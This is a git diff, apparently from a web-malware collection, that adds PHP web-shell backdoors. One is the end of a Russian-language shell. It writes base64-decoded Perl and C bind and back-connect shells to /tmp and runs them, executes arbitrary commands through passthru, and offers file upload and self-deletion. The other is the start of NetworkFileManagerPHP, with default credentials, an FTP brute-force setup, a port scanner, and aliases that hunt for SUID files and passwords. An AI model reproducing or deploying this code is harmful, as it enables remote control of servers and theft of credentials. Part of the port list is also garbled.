(!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + $w_file=fopen("/tmp/bdpl","ab+") or $err=1; + if($err==1) + { + echo "<font color=red face=Fixedsys><div align=center>������! �� ���� �������� � /tmp/</div></font>"; + $err=0; + } + else + { + fputs($w_file,base64_decode($port_bind_bd_pl)); + fclose($w_file); + $bind_string="perl /tmp/bdpl ".$_POST['port']." &"; + $blah=exec($bind_string); + $_POST['cmd']="ps -aux | grep bdpl"; + $err=0; + } +} + +/* back connect Perl */ +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + $w_file=fopen("/tmp/back","ab+") or $err=1; + if($err==1) + { + echo "<font color=red face=Fixedsys><div align=center>������! �� ���� �������� � /tmp/</div></font>"; + $err=0; + } + else + { + fputs($w_file,base64_decode($back_connect)); + fclose($w_file); + $bc_string="perl /tmp/back ".$_POST['ip']." ".$_POST['port']." &"; + $blah=exec($bc_string); + $_POST['cmd']="echo \"������ ������ ����������� � ".$_POST['ip']." port ".$_POST['port']." ...\""; + $err=0; + } +} + +/* back connect C */ +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + $w_file=fopen("/tmp/back.c","ab+") or $err=1; + if($err==1) + { + echo "<font color=red face=Fixedsys><div align=center>Error! Can't write in /tmp/back.c</div></font>"; + $err=0; + } + else + { + fputs($w_file,base64_decode($back_connect_c)); + fclose($w_file); + $blah=exec("gcc -o /tmp/backc /tmp/back.c"); + unlink("/tmp/back.c"); + $bc_string="/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"; + $blah=exec($bc_string); + $_POST['cmd']="echo \"������ ������ ����������� � ".$_POST['ip']." port ".$_POST['port']." ...\""; + $err=0; + } +} +echo "<font face=Verdana size=-2>����������� �������: <b>".$_POST['cmd']."</b></font></td></tr><tr><td>"; +echo "<b>"; +echo "<br>���������: "; +echo "<font color=red size=2"; +print "".passthru($_POST['cmd']).""; +echo "</font></b>"; +break; + +// Uploading +case "upload": + +echo <<<HTML +<b>�������� ������</b> +<a href='$php_self?ac=massupload&d=$d&t=massupload'>* ��������� ������� ���������� ������ *</a><br><br> +<table> +<form enctype="multipart/form-data" action="$self" method="POST"> +<input type="hidden" name="ac" value="upload"> +<tr> +<td>����:</td> +<td><input size="48" name="file" type="file"></td> +</tr> +<tr> +<td>�����:</td> +<td><input size="48" value="$docr/" name="path" type="text"><input type="submit" value="�������"></td><br> +$tend +HTML; + +if (isset($_POST['path'])){ + +$uploadfile = $_POST['path'].$_FILES['file']['name']; +if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];} + +if (copy($_FILES['file']['tmp_name'], $uploadfile)) { + echo "���� ������� �������� � ����� $uploadfile\n"; + echo "���:" .$_FILES['file']['name']. "\n"; + echo "������:" .$_FILES['file']['size']. "\n"; + +} else { + print "�� ������ ��������� ����. ����:\n"; + print_r($_FILES); +} +} + + +echo "<form enctype='multipart/form-data' action='?ac=upload&status=ok' method=post> +<b>�������� ������ � ���������� ����������:</b><br> + HTTP ���� � �����: <br> +<input type='text' name='file3' value='http://' size=40><br> +�������� ����� ��� ���� � ��������� �����: <br> +<input type='text' name='file2' value='$docr/' size=40><br> +<input type='submit' value='��������� ����'></form>"; + + +if (!isset($status)) downfiles(); + +else +{ + +$data = @implode("", file($file3)); +$fp = @fopen($file2, "wb"); +@fputs($fp, $data); +$ok = @fclose($fp); +if($ok) +{ +$size = filesize($file2)/1024; +$sizef = sprintf("%.2f", $size); + +print "<br><center>�� ���������: <b>���� <u>$file2</u> ��������</b> (".$sizef."��) </center>"; +} +else +{ +print "<br><center><font color=red size = 2><b>������ �������� �����</b></font></center>"; +} +} + + + +break; +// Tools +case "tools": +echo "<form method=post>��������� md5 �����<br><input name=md5 size=30></form><br>"; +@$md5=@$_POST['md5']; +if(@$_POST['md5']){ echo "md5 ������������:<br> ".md5($md5)."";} +echo "<br> +<form method=post>�����������/������������� base64<br><input name=base64 size=30></form><br>"; +if(@$_POST['base64']){ +@$base64=$_POST['base64']; +echo " +����������:<br><textarea rows=8 cols=80>".base64_encode($base64)."</textarea><br> +������������: <br><textarea rows=8 cols=80>".base64_decode($base64)."</textarea><br>";} +echo "<br> +<form method=post>DES �����������:<br><input name=des size=30></form><br>"; +if(@$_POST['des']){ +@$des=@$_POST['des']; +echo "Des ������������: <br>".crypt($des)."";} +echo "<br> +<form method=post>SHA1 �����������:<br><input name=sha1 size=30></form><br>"; +if(@$_POST['sha1']){ +@$des=@$_POST['sha1']; +echo "SHA1 ������������: <br>".sha1($sha1a)."";} + +echo "<form method=POST>"; +echo "html-��� -> ����������������� ��������<br><input type=text name=data size=30>"; + + +if (isset($_POST['data'])) +{ +echo "<br><br><b>���������:<br></b>"; +$str=str_replace("%20","",$_POST['data']); +for($i=0;$i<strlen($str);$i++) +{ +$hex=dechex(ord($str[$i])); +if ($str[$i]=='&') echo "$str[$i]"; +else if ($str[$i]!='\\') echo "%$hex"; +} +} +exit; +break; +// Mass Uploading +case "massupload": + + +echo " +������� �������� ������:<br> +<form enctype=\"multipart/form-data\" method=post> +<input type=file name=text1 size=43> <input type=file name=text11 size=43><br> +<input type=file name=text2 size=43> <input type=file name=text12 size=43><br> +<input type=file name=text3 size=43> <input type=file name=text13 size=43><br> +<input type=file name=text4 size=43> <input type=file name=text14 size=43><br> +<input type=file name=text5 size=43> <input type=file name=text15 size=43><br> +<input type=file name=text6 size=43> <input type=file name=text16 size=43><br> +<input type=file name=text7 size=43> <input type=file name=text17 size=43><br> +<input type=file name=text8 size=43> <input type=file name=text18 size=43><br> +<input type=file name=text9 size=43> <input type=file name=text19 size=43><br> +<input type=file name=text10 size=43> <input type=file name=text20 size=43><br> +<input name=where size=43 value='$docr'><br> +<input type=submit value=��������� name=massupload> +</form><br>"; + +if(@$_POST['massupload']){ +$where=@$_POST['where']; +$uploadfile1 = "$where/".@$_FILES['text1']['name']; +$uploadfile2 = "$where/".@$_FILES['text2']['name']; +$uploadfile3 = "$where/".@$_FILES['text3']['name']; +$uploadfile4 = "$where/".@$_FILES['text4']['name']; +$uploadfile5 = "$where/".@$_FILES['text5']['name']; +$uploadfile6 = "$where/".@$_FILES['text6']['name']; +$uploadfile7 = "$where/".@$_FILES['text7']['name']; +$uploadfile8 = "$where/".@$_FILES['text8']['name']; +$uploadfile9 = "$where/".@$_FILES['text9']['name']; +$uploadfile10 = "$where/".@$_FILES['text10']['name']; +$uploadfile11 = "$where/".@$_FILES['text11']['name']; +$uploadfile12 = "$where/".@$_FILES['text12']['name']; +$uploadfile13 = "$where/".@$_FILES['text13']['name']; +$uploadfile14 = "$where/".@$_FILES['text14']['name']; +$uploadfile15 = "$where/".@$_FILES['text15']['name']; +$uploadfile16 = "$where/".@$_FILES['text16']['name']; +$uploadfile17 = "$where/".@$_FILES['text17']['name']; +$uploadfile18 = "$where/".@$_FILES['text18']['name']; +$uploadfile19 = "$where/".@$_FILES['text19']['name']; +$uploadfile20 = "$where/".@$_FILES['text20']['name']; +if (@move_uploaded_file(@$_FILES['text1']['tmp_name'], $uploadfile1)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile1</i><br>";} +if (@move_uploaded_file(@$_FILES['text2']['tmp_name'], $uploadfile2)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile2</i><br>";} +if (@move_uploaded_file(@$_FILES['text3']['tmp_name'], $uploadfile3)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile3</i><br>";} +if (@move_uploaded_file(@$_FILES['text4']['tmp_name'], $uploadfile4)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile4</i><br>";} +if (@move_uploaded_file(@$_FILES['text5']['tmp_name'], $uploadfile5)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile5</i><br>";} +if (@move_uploaded_file(@$_FILES['text6']['tmp_name'], $uploadfile6)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile6</i><br>";} +if (@move_uploaded_file(@$_FILES['text7']['tmp_name'], $uploadfile7)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile7</i><br>";} +if (@move_uploaded_file(@$_FILES['text8']['tmp_name'], $uploadfile8)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile8</i><br>";} +if (@move_uploaded_file(@$_FILES['text9']['tmp_name'], $uploadfile9)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile9</i><br>";} +if (@move_uploaded_file(@$_FILES['text10']['tmp_name'], $uploadfile10)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile10</i><br>";} +if (@move_uploaded_file(@$_FILES['text11']['tmp_name'], $uploadfile11)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile11</i><br>";} +if (@move_uploaded_file(@$_FILES['text12']['tmp_name'], $uploadfile12)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile12</i><br>";} +if (@move_uploaded_file(@$_FILES['text13']['tmp_name'], $uploadfile13)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile13</i><br>";} +if (@move_uploaded_file(@$_FILES['text14']['tmp_name'], $uploadfile14)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile14</i><br>";} +if (@move_uploaded_file(@$_FILES['text15']['tmp_name'], $uploadfile15)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile15</i><br>";} +if (@move_uploaded_file(@$_FILES['text16']['tmp_name'], $uploadfile16)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile16</i><br>";} +if (@move_uploaded_file(@$_FILES['text17']['tmp_name'], $uploadfile17)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile17</i><br>";} +if (@move_uploaded_file(@$_FILES['text18']['tmp_name'], $uploadfile18)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile18</i><br>";} +if (@move_uploaded_file(@$_FILES['text19']['tmp_name'], $uploadfile19)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile19</i><br>";} +if (@move_uploaded_file(@$_FILES['text20']['tmp_name'], $uploadfile20)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>���������: $uploadfile20</i><br>";} +} + +exit; +break; +case "selfremover": + print "<tr><td>"; +print "<font color=red face=verdana size=1>�� ������, ��� ����� ������� ���� ���� � ������� ?<br> +<a href='$php_self?p=yes'>��, ����</a> | <a href='$php_self?'>���, ����� ��� �������</a><br> +����� �������: <u>"; +$path=__FILE__; +print $path; +print " </u>?</td></tr></table>"; +die; +} + +if($p=="yes"){ +$path=__FILE__; +@unlink($path); +$path=str_replace("\\","/",$path); +if(file_exists($path)){$hmm="���� ���������� �������!!!"; +print "<tr><td><font color=red>���� $path �� ������ !</td></tr>"; +}else{$hmm="������";} +print "<script>alert('$path $hmm');</script>"; + +} +break; + + +?> + + + diff --git a/web-malware-collection-master/Backdoors/PHP/NetworkFileManagerPHP.txt b/web-malware-collection-master/Backdoors/PHP/NetworkFileManagerPHP.txt new file mode 100755 index 0000000..a0cf326 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/NetworkFileManagerPHP.txt @@ -0,0 +1,5603 @@ +<? + +if (ini_get('register_globals') != '1') { + + if (!empty($HTTP_POST_VARS)) + + extract($HTTP_POST_VARS); + + + + if (!empty($HTTP_GET_VARS)) + + extract($HTTP_GET_VARS); + + if (!empty($HTTP_SERVER_VARS)) + + extract($HTTP_SERVER_VARS); + +} + + + +$use_md5=0; // Define use of MD5 crypt algoritm // + +$uname="1"; + +$upass="1"; + + + + + + +if ($action != "download" && $action != "view" ): + +?> + + + +<? + + + +/* Define your email for file send function*/ + +$demail ="effes2004@gmail.com"; + + + +/* config here */ + +$title="NetworkFileManagerPHP for channel #hack.ru"; + +$ver="1.7.private ([final_english_release])"; + +$sob="Belongs to <b><u>revers</u></b>"; + +$id="1337"; + + + +/* FTP-bruteforce */ + +$filename="/etc/passwd"; + +$ftp_server="localhost"; + +/* port scanner */ + +$min="1"; + +$max="65535"; + + + +/* Aliases */ + +$aliases=array( + +/* find all SUID files */ + +'find / -type f -perm -04000 -ls' => 'find all suid files' , + +/* find all SGID files */ + +'find / -type f -perm -02000 -ls' => 'find all sgid files', + +/* find all config.inc.php files */ + +'find / -type f -name config.inc.php' => 'find all config.inc.php files', + +/* find accesseable writeable directories and files*/ + +'find / -perm -2 -ls' => 'find writeable directories and files', + +'ls -la' => 'Current directory listing with rights access', + +'find / -name *.php | xargs grep -li password' =>'searsh all file .php word password' + + + +); + + + +/* ports and services names */ + +$port[1] = "tcpmux (TCP Port Service Multiplexer)"; + +$port[2] = "Management Utility"; + +$port[3] = "Compression Process"; + +$port[5] = "rje (Remote Job Entry)"; + +$port[7] = "echo"; + +$port[9] = "discard"; + +$port[11] = "systat"; + +$port[13] = "daytime"; + +$port[15] = "netstat"; + +$port[17] = "quote of the day"; + +$port[18] = "send/rwp"; + +$port[19] = "character generator"; + +$port[20] = "ftp-data"; + +$port[21] = "ftp"; + +$port[22] = "ssh, pcAnywhere"; + +$port[23] = "Telnet"; + +$port[25] = "SMTP (Simple Mail Transfer)"; + +$port[27] = "ETRN (NSW User System FE)"; + +$port[29] = "MSG ICP"; + +$port[31] = "MSG Authentication"; + +$port[33] = "dsp (Display Support Protocol)"; + +$port[37] = "time"; + +$port[38] = "RAP (Route Access Protocol)"; + +$port[39] = "rlp (Resource Location Protocol)"; + +$port[41] = "Graphics"; + +$port[42] = "nameserv, WINS"; + +$port[43] = "whois, nickname"; + +$port[44] = "MPM FLAGS Protocol"; + +$port[45] = "Message Processing Module [recv]"; + +$port[46] = "MPM [default send]"; + +$port[47] = "NI FTP"; + +$port[48] = "Digital Audit Daemon"; + +$port[49] = "TACACS, Login Host Protocol"; + +$port[50] = "RMCP, re-mail-ck"; + +$port[53] = "DNS"; + +$port[57] = "MTP (any private terminal access)"; + +$port[59] = "NFILE"; + +$port[60] = "Unassigned"; + +$port[61] = "NI MAIL"; + +$port[62] = "ACA Services"; + +$port[63] = "whois++"; + +$port[64] = "Communications Integrator (CI)"; + +$port[65] = "TACACS-Database Service"; + +$port[66] = "Oracle SQL*NET"; + +$port[67] = "bootps (Bootstrap Protocol Server)"; + +$port[68] = "bootpd/dhcp (Bootstrap Protocol Client)"; + +$port[69] = "Trivial File Transfer Protocol (tftp)"; + +$port[70] = "Gopher"; + +$port[71] = "Remote Job Service"; + +$port[72] = "Remote Job Service"; + +$port[73] = "Remote Job Service"; + +$port[74] = "Remote Job Service"; + +$port[75] = "any private dial out service"; + +$port[76] = "Distributed External Object Store"; + +$port[77] = "any private RJE service"; + +$port[78] = "vettcp"; + +$port[79] = "finger"; + +$port[80] = "World Wide Web HTTP"; + +$port[81] = "HOSTS2 Name Serve"; + +$port[82] = "XFER Utility"; + +$port[83] = "MIT ML Device"; + +$port[84] = "Common Trace Facility"; + +$port[85] = "MIT ML Device"; + +$port[86] = "Micro Focus Cobol"; + +$port[87] = "any private terminal link"; + +$port[88] = "Kerberos, WWW"; + +$port[89] = "SU/MIT Telnet Gateway"; + +$port[90] = "DNSIX Securit Attribute Token Map"; + +$port[91] = "MIT Dover Spooler"; + +$port[92] = "Network Printing Protocol"; + +$port[93] = "Device Control Protocol"; + +$port[94] = "Tivoli Object Dispatcher"; + +$port[95] = "supdup"; + +$port[96] = "DIXIE"; + +$port[98] = "linuxconf"; + +$port[99] = "Metagram Relay"; + +$port[100] = "[unauthorized use]"; + +$port[101] = "HOSTNAME"; + +$port[102] = "ISO, X.400, ITOT"; + +$port[103] = "Genesis Point-to&#14144;&#429;oi&#65535;&#65535; T&#0;&#0;ns&#0;&#0;et"; + +$port[104] = "ACR-NEMA Digital Imag. & Comm. 300"; + +$port[105] = "CCSO name server protocol"; + +$port[106] = "poppassd"; + +$port[107] = "Remote Telnet Service"; + +$port[108] = "SNA Gateway Access Server"; + +$port[109] = "POP2"; + +$port[110] = "POP3"; + +$port[111] = "Sun RPC Portmapper"; + +$port[112] = "McIDAS Data Transmission Protocol"; + +$port[113] = "Authentication Service"; + +$port[115] = "sftp (Simple File Transfer Protocol)"; + +$port[116] = "ANSA REX Notify"; + +$port[117] = "UUCP Path Service"; + +$port[118] = "SQL Services"; + +$port[119] = "NNTP"; + +$port[120] = "CFDP"; + +$port[123] = "NTP"; + +$port[124] = "SecureID"; + +$port[129] = "PWDGEN"; + +$port[133] = "statsrv"; + +$port[135] = "loc-srv/epmap"; + +$port[137] = "netbios-ns"; + +$port[138] = "netbios-dgm (UDP)"; + +$port[139] = "NetBIOS"; + +$port[143] = "IMAP"; + +$port[144] = "NewS"; + +$port[150] = "SQL-NET"; + +$port[152] = "BFTP"; + +$port[153] = "SGMP"; + +$port[156] = "SQL Service"; + +$port[161] = "SNMP"; + +$port[175] = "vmnet"; + +$port[177] = "XDMCP"; + +$port[178] = "NextStep Window Server"; + +$port[179] = "BGP"; + +$port[180] = "SLmail admin"; + +$port[199] = "smux"; + +$port[210] = "Z39.50"; + +$port[213] = "IPX"; + +$port[218] = "MPP"; + +$port[220] = "IMAP3"; + +$port[256] = "RAP"; + +$port[257] = "Secure Electronic Transaction"; + +$port[258] = "Yak Winsock Personal Chat"; + +$port[259] = "ESRO"; + +$port[264] = "FW1_topo"; + +$port[311] = "Apple WebAdmin"; + +$port[350] = "MATIP type A"; + +$port[351] = "MATIP type B"; + +$port[363] = "RSVP tunnel"; + +$port[366] = "ODMR (On-Demand Mail Relay)"; + +$port[371] = "Clearcase"; + +$port[387] = "AURP (AppleTalk Update-Based Routing Protocol)"; + +$port[389] = "LDAP"; + +$port[407] = "Timbuktu"; + +$port[427] = "Server Location"; + +$port[434] = "Mobile IP"; + +$port[443] = "ssl"; + +$port[444] = "snpp, Simple Network Paging Protocol"; + +$port[445] = "SMB"; + +$port[458] = "QuickTime TV/Conferencing"; + +$port[468] = "Photuris"; + +$port[475] = "tcpnethaspsrv"; + +$port[500] = "ISAKMP, pluto"; + +$port[511] = "mynet-as"; + +$port[512] = "biff, rexec"; + +$port[513] = "who, rlogin"; + +$port[514] = "syslog, rsh"; + +$port[515] = "lp, lpr, line printer"; + +$port[517] = "talk"; + +$port[520] = "RIP (Routing Information Protocol)"; + +$port[521] = "RIPng"; + +$port[522] = "ULS"; + +$port[531] = "IRC"; + +$port[543] = "KLogin, AppleShare over IP"; + +$port[545] = "QuickTime"; + +$port[548] = "AFP"; + +$port[554] = "Real Time Streaming Protocol"; + +$port[555] = "phAse Zero"; + +$port[563] = "NNTP over SSL"; + +$port[575] = "VEMMI"; + +$port[581] = "Bundle Discovery Protocol"; + +$port[593] = "MS-RPC"; + +$port[608] = "SIFT/UFT"; + +$port[626] = "Apple ASIA"; + +$port[631] = "IPP (Internet Printing Protocol)"; + +$port[635] = "RLZ DBase"; + +$port[636] = "sldap"; + +$port[642] = "EMSD"; + +$port[648] = "RRP (NSI Registry Registrar Protocol)"; + +$port[655] = "tinc"; + +$port[660] = "Apple MacOS Server Admin"; + +$port[666] = "Doom"; + +$port[674] = "ACAP"; + +$port[687] = "AppleShare IP Registry"; + +$port[700] = "buddyphone"; + +$port[705] = "AgentX for SNMP"; + +$port[901] = "swat, realsecure"; + +$port[993] = "s-imap"; + +$port[995] = "s-pop"; + +$port[1024] = "Reserved"; + +$port[1025] = "network blackjack"; + +$port[1062] = "Veracity"; + +$port[1080] = "SOCKS"; + +$port[1085] = "WebObjects"; + +$port[1227] = "DNS2Go"; + +$port[1243] = "SubSeven"; + +$port[1338] = "Millennium Worm"; + +$port[1352] = "Lotus Notes"; + +$port[1381] = "Apple Network License Manager"; + +$port[1417] = "Timbuktu Service 1 Port"; + +$port[1418] = "Timbuktu Service 2 Port"; + +$port[1419] = "Timbuktu Service 3 Port"; + +$port[1420] = "Timbuktu Service 4 Port"; + +$port[1433] = "Microsoft SQL Server"; + +$port[1434] = "Microsoft SQL Monitor"; + +$port[1477] = "ms-sna-server"; + +$port[1478] = "ms-sna-base"; + +$port[1490] = "insitu-conf"; + +$port[1494] = "Citrix ICA Protocol"; + +$port[1498] = "Watcom-SQL"; + +$port[1500] = "VLSI License Manager"; + +$port[1503] = "T.120"; + +$port[1521] = "Oracle SQL"; + +$port[1522] = "Ricardo North America License Manager"; + +$port[1524] = "ingres"; + +$port[1525] = "prospero"; + +$port[1526] = "prospero"; + +$port[1527] = "tlisrv"; + +$port[1529] = "oracle"; + +$port[1547] = "laplink"; + +$port[1604] = "Citrix ICA, MS Terminal Server"; + +$port[1645] = "RADIUS Authentication"; + +$port[1646] = "RADIUS Accounting"; + +$port[1680] = "Carbon Copy"; + +$port[1701] = "L2TP/LSF"; + +$port[1717] = "Convoy"; + +$port[1720] = "H.323/Q.931"; + +$port[1723] = "PPTP control port"; + +$port[1731] = "MSICCP"; + +$port[1755] = "Windows Media .asf"; + +$port[1758] = "TFTP multicast"; + +$port[1761] = "cft-0"; + +$port[1762] = "cft-1"; + +$port[1763] = "cft-2"; + +$port[1764] = "cft-3"; + +$port[1765] = "cft-4"; + +$port[1766] = "cft-5"; + +$port[1767] = "cft-6"; + +$port[1808] = "Oracle-VP2"; + +$port[1812] = "RADIUS server"; + +$port[1813] = "RADIUS accounting"; + +$port[1818] = "ETFTP"; + +$port[1973] = "DLSw DCAP/DRAP"; + +$port[1985] = "HSRP"; + +$port[1999] = "Cisco AUTH"; + +$port[2001] = "glimpse"; + +$port[2049] = "NFS"; + +$port[2064] = "distributed.net"; + +$port[2065] = "DLSw"; + +$port[2066] = "DLSw"; + +$port[2106] = "MZAP"; + +$port[2140] = "DeepThroat"; + +$port[2301] = "Compaq Insight Management Web Agents"; + +$port[2327] = "Netscape Conference"; + +$port[2336] = "Apple UG Control"; + +$port[2427] = "MGCP gateway"; + +$port[2504] = "WLBS"; + +$port[2535] = "MADCAP"; + +$port[2543] = "sip"; + +$port[2592] = "netrek"; + +$port[2727] = "MGCP call agent"; + +$port[2628] = "DICT"; + +$port[2998] = "ISS Real Secure Console Service Port"; + +$port[3000] = "Firstclass"; + +$port[3001] = "Redwood Broker"; + +$port[3031] = "Apple AgentVU"; + +$port[3128] = "squid"; + +$port[3130] = "ICP"; + +$port[3150] = "DeepThroat"; + +$port[3264] = "ccmail"; + +$port[3283] = "Apple NetAssitant"; + +$port[3288] = "COPS"; + +$port[3305] = "ODETTE"; + +$port[3306] = "mySQL"; + +$port[3389] = "RDP Protocol (Terminal Server)"; + +$port[3521] = "netrek"; + +$port[4000] = "icq, command-n-conquer and shell nfm"; + +$port[4321] = "rwhois"; + +$port[4333] = "mSQL"; + +$port[4444] = "KRB524"; + +$port[4827] = "HTCP"; + +$port[5002] = "radio free ethernet"; + +$port[5004] = "RTP"; + +$port[5005] = "RTP"; + +$port[5010] = "Yahoo! Messenger"; + +$port[5050] = "multimedia conference control tool"; + +$port[5060] = "SIP"; + +$port[5150] = "Ascend Tunnel Management Protocol"; + +$port[5190] = "AIM"; + +$port[5500] = "securid"; + +$port[5501] = "securidprop"; + +$port[5423] = "Apple VirtualUser"; + +$port[5555] = "Personal Agent"; + +$port[5631] = "PCAnywhere data"; + +$port[5632] = "PCAnywhere"; + +$port[5678] = "Remote Replication Agent Connection"; + +$port[5800] = "VNC"; + +$port[5801] = "VNC"; + +$port[5900] = "VNC"; + +$port[5901] = "VNC"; + +$port[6000] = "X Windows"; + +$port[6112] = "BattleNet"; + +$port[6502] = "Netscape Conference"; + +$port[6667] = "IRC"; + +$port[6670] = "VocalTec Internet Phone, DeepThroat"; + +$port[6699] = "napster"; + +$port[6776] = "Sub7"; + +$port[6970] = "RTP"; + +$port[7007] = "MSBD, Windows Media encoder"; + +$port[7070] = "RealServer/QuickTime"; + +$port[7777] = "cbt"; + +$port[7778] = "Unreal"; + +$port[7648] = "CU-SeeMe"; + +$port[7649] = "CU-SeeMe"; + +$port[8000] = "iRDMI/Shoutcast Server"; + +$port[8010] = "WinGate 2.1"; + +$port[8080] = "HTTP"; + +$port[8181] = "HTTP"; + +$port[8383] = "IMail WWW"; + +$port[8875] = "napster"; + +$port[8888] = "napster"; + +$port[8889] = "Desktop Data TCP 1"; + +$port[8890] = "Desktop Data TCP 2"; + +$port[8891] = "Desktop Data TCP 3: NESS application"; + +$port[8892] = "Desktop Data TCP 4: FARM product"; + +$port[8893] = "Desktop Data TCP 5: NewsEDGE/Web application"; + +$port[8894] = "Desktop Data TCP 6: COAL application"; + +$port[9000] = "CSlistener"; + +$port[10008] = "cheese worm"; + +$port[11371] = "PGP 5 Keyserver"; + +$port[13223] = "PowWow"; + +$port[13224] = "PowWow"; + +$port[14237] = "Palm"; + +$port[14238] = "Palm"; + +$port[18888] = "LiquidAudio"; + +$port[21157] = "Activision"; + +$port[22555] = "Vocaltec Web Conference"; + +$port[23213] = "PowWow"; + +$port[23214] = "PowWow"; + +$port[23456] = "EvilFTP"; + +$port[26000] = "Quake"; + +$port[27001] = "QuakeWorld"; + +$port[27010] = "Half-Life"; + +$port[27015] = "Half-Life"; + +$port[27960] = "QuakeIII"; + +$port[30029] = "AOL Admin"; + +$port[31337] = "Back Orifice"; + +$port[32777] = "rpc.walld"; + +$port[45000] = "Cisco NetRanger postofficed"; + +$port[32773] = "rpc bserverd"; + +$port[32776] = "rpc.spray"; + +$port[32779] = "rpc.cmsd"; + +$port[38036] = "timestep"; + +$port[40193] = "Novell"; + +$port[41524] = "arcserve discovery"; + + + +/* finished config, here goes the design */ + +$meta = "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">"; + +$style=<<<style + +<style> + +a. { + +color: #ffffcc; + +text-decoration:none; + +font-family: Times New Roman; + +font-weight: bold; + + } + +a.menu:hover { + +color: #FF0000; + +font-family: Times New Roman; + +text-decoration: none + +font-weight: bold; + + } + +a { + +color: #000000; + +text-decoration:none; + +font-family: Tahoma; + +font-size: 11px; + + } + +a:hover { + +color: #184984; + +font-family: Tahoma; + +text-decoration: underline + +font-size: 11px; + + } + +td.up{ + +color: #996600; + +font-family: Verdana; + +font-weight: normal; + +font-size: 11px; + +} + +.pagetitle { + +font-family: Arial, Helvetica, sans-serif; + +color: #FFFFFF; + +text-decoration: none; + +font-size: 12px + +} + +.alert { + +color: #FF0000; + +font-family: Tahoma; + +font-size: 11px; + + } + +.button1 { + +font-size:11px; + +font-weight:bold; + +font-family:Verdana; + +background:#184984; + +border:1px solid #000000; cursor:hand; color:#ffffcc; + +} + +.inputbox {font-size:11px; font-family:Verdana, Arial, Helvetica, sans-serif; background:#EBEFF6; color:#213B72; border:1px solid #000000; font-weight:normal} + +.submit_button { font-family: Arial, Helvetica, sans-serif; font-size: 12px; color: #FFFFFF; background-color: #999999;} + +.textbox { background: White; border: 1px #000000 solid; color: #000099; font-family: "Courier New", Courier, mono; font-size: 11px; scrollbar-face-color: #CCCCCC; scrollbar-shadow-color: #FFFFFF; scrollbar-highlight-color: #FFFFFF; scrollbar-3dlight-color: #FFFFFF; scrollbar-darkshadow-color: #FFFFFF; scrollbar-track-color: #FFFFFF; scrollbar-arrow-color: #000000 ; border-color: #000000 solid} + +b { font-weight: bold} + +table { font-family: Arial, Helvetica, sans-serif; font-size: 11px; color: #184984} + +</style> + +style; + + + +/* table styles */ + +$style1=<<<table + +STYLE="background:#184984" onmouseover="this.style.backgroundColor = '#D5EBD7'" onmouseout="this.style.backgroundColor = '#184984'" + +table; + +$style2=<<<table_file + +STYLE="background:#184984" onmouseover="this.style.backgroundColor = '#D5EBD7'" onmouseout="this.style.backgroundColor = '#184984'" + +table_file; + +$style3=<<<table_dir + +STYLE="background:#28BECA" onmouseover="this.style.backgroundColor = '#FFFFCC'" onmouseout="this.style.backgroundColor = '#28BECA'" + +table_dir; + +$style4=<<<table_files + +STYLE="background:#DCDCB0" onmouseover="this.style.backgroundColor = '#28BECA'" onmouseout="this.style.backgroundColor = '#DCDCB0'" + +table_files; + +$style_button=<<<button + +STYLE="background:#184984" onmouseover="this.style.backgroundColor = '#D5EBD7'" onmouseout="this.style.backgroundColor = '#184984'" + +button; + +$style_open=<<<open + +STYLE="background:#006200" onmouseover="this.style.backgroundColor = '#006200'" onmouseout="this.style.backgroundColor = '#006200'" + +open; + +$style_close=<<<close + +STYLE="background:#FF0000" onmouseover="this.style.backgroundColor = '#FF0000'" onmouseout="this.style.backgroundColor = '#FF0000'" + +close; + +$ins=<<<ins + +<script> + +function ins(text){ + +document.hackru.chars_de.value+=text; + +document.hackru.chars_de.focus(); + +} + +</script> + +ins; + + + +/* send form */ + +$form = " + +<br> <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <tr> + + <td align=center class=pagetitle colspan=2><b>Help for NetworkFileManagerPHP 1.7</b></font></b></td> + + </tr> <form method='POST' action='$PHP_SELF?action=feedback&status=ok'> + + <tr> + + <td colspan=2 align=center class=pagetitle><b>Feedback:</b></td> + + </tr> + + <tr> + + <td width='250' class=pagetitle><b>Your name:</b></td> + + <td width='250' class=pagetitle> + + <input type='text' name='name' size='40' class='inputbox'></td> + + </tr> + + <tr> + + <td width='250' class=pagetitle><b>Email:</b></td> + + <td width='250'><input type='text' name='email' size='40' class='inputbox'></td> + + </tr> + + + + <tr> + + <td colspan=2 align=center class=pagetitle><b> + + Your questions and wishes: + + </b></font></b></td> + + </tr> + + <tr> + + <td width=500 colspan=2><textarea rows='4' name='pole' cols='84' class='inputbox' ></textarea></td></tr> + + <tr> + + <td align=right><input type='submit' value='GO' name='B1' class=button1 $style_button></td> + + <td 